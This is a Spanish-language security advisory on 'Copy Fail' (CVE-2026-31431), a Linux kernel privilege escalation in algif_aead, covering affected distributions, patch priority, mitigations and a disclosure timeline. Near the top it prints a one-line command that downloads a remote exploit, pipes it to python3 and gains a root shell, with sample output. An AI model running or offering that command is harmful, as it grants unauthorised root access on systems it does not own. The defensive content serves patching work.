Copy Fail: Explotación crítica del kernel de Linux CVE-2026-31431

Copy Fail: El asesino silencioso del kernel de Linux (CVE-2026-31431)

Un solo script de Python de 732 bytes. Cuatro distribuciones principales de Linux. Cuatro shells root — sin modificaciones, sin recompilación, sin complicaciones. Bienvenido a Copy Fail (CVE-2026-31431), la escalada local de privilegios más portátil en la reciente historia de Linux.

La explotación que funciona en todas partes

Descubierta mediante auditoría asistida por IA de Xint Code, Copy Fail explota una optimización del kernel de 2017 en la interfaz crypto algif_aead. Los usuarios sin privilegios pueden escribir 4 bytes controlados directamente en el caché de página de cualquier archivo legible —incluyendo binarios setuid-root como /usr/bin/su.

$ curl https://copy.fail/exp | python3 && su
# id
uid=0(root) gid=1002(user) groups=1002(user)

Un solo intento. 100% confiable. Cada distro.

Quién necesita entrar en pánico (Orden de parcheo)

Prioridad Entorno Riesgo
🟥 Alta Hosts multiinquilino, Kubernetes, runners de CI Cualquier usuario → root del host
🟥 Alta Cloud SaaS, hosts de notebooks Escape de inquilino a host
🟨 Media Servidores monoinquilino Cadena LPE interna
🟢 Baja Estaciones de trabajo de usuario único Solo post-explotación

Verificado afectado: Ubuntu 24.04, Amazon Linux 2023, RHEL 10, SUSE 16 (y contando).

Qué hace diferente a Copy Fail

Propiedad LPE típica Copy Fail
Condición de carrera ✅ Requerida ❌ Ninguna
Offsets por distro ✅ Requeridos ❌ Universal
Confiabilidad 30-80% ✅ 100% un solo disparo
Ventana afectada Rango estrecho 2017 → 2026 (9 años)
Escape de contenedor ❌ Solo host ✅ Multiinquilino

A diferencia de Dirty Pipe (flags de pipe) o Dirty Cow (condiciones de carrera), Copy Fail es código en línea recta que abusa del manejo incorrecto de scatterlist AEAD.

Mitigación inmediata

1. Parche (Principal)

# Actualiza el kernel para incluir el commit principal a664bf3d603d
apt update && apt upgrade linux-image-generic  # Ubuntu
yum update kernel                            # RHEL
zypper update kernel                        # SUSE

2. Desactivación de emergencia (Pre-parche)

echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead 2>/dev/null || true

Impacto en rendimiento: Ninguno para el 99.9% de las cargas de trabajo. Solo afecta a usuarios raros de AF_ALG.

3. Endurecimiento de contenedores

Bloquea sockets AF_ALG vía seccomp para cargas de trabajo no confiables.

Análisis técnico profundo

La vulnerabilidad reside en algif_aead (familia de sockets AF_ALG). Una 'optimización' de 2017 permitió crypto in-place donde las páginas de caché de página (fuente de solo lectura) se convirtieron en el scatterlist de destino escribible.

  1. splice() alimenta páginas de caché de página al scatterlist crypto
  2. La autenticación AEAD garabatea 4 bytes AAD ESN pasado los límites del buffer
  3. authenc_esn nunca restaura los bytes de caché de página sobrescritos
  4. execve(/usr/bin/su) lee caché de página corrupto → shell root

Bonus de sigilo: Sin escrituras VFS, sin páginas sucias, sin cambios en disco. Evicta caché o reinicia → archivo limpio.

Cronología de divulgación

  • 2026-03-23: Reportado al equipo del kernel
  • 2026-04-01: Parche comprometido
  • 2026-04-29: Divulgación pública

Defiéndete responsablemente

El PoC es público (sha256: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9) para que los defensores prueben parches. Ejecuta solo en sistemas autorizados.

Operadores multiinquilino: Parchea ayer. Esto no es teórico.

Encontrado por Xint Code — auditoría de seguridad con IA que realmente funciona.

Artículo original: Ver original

Compartir este artículo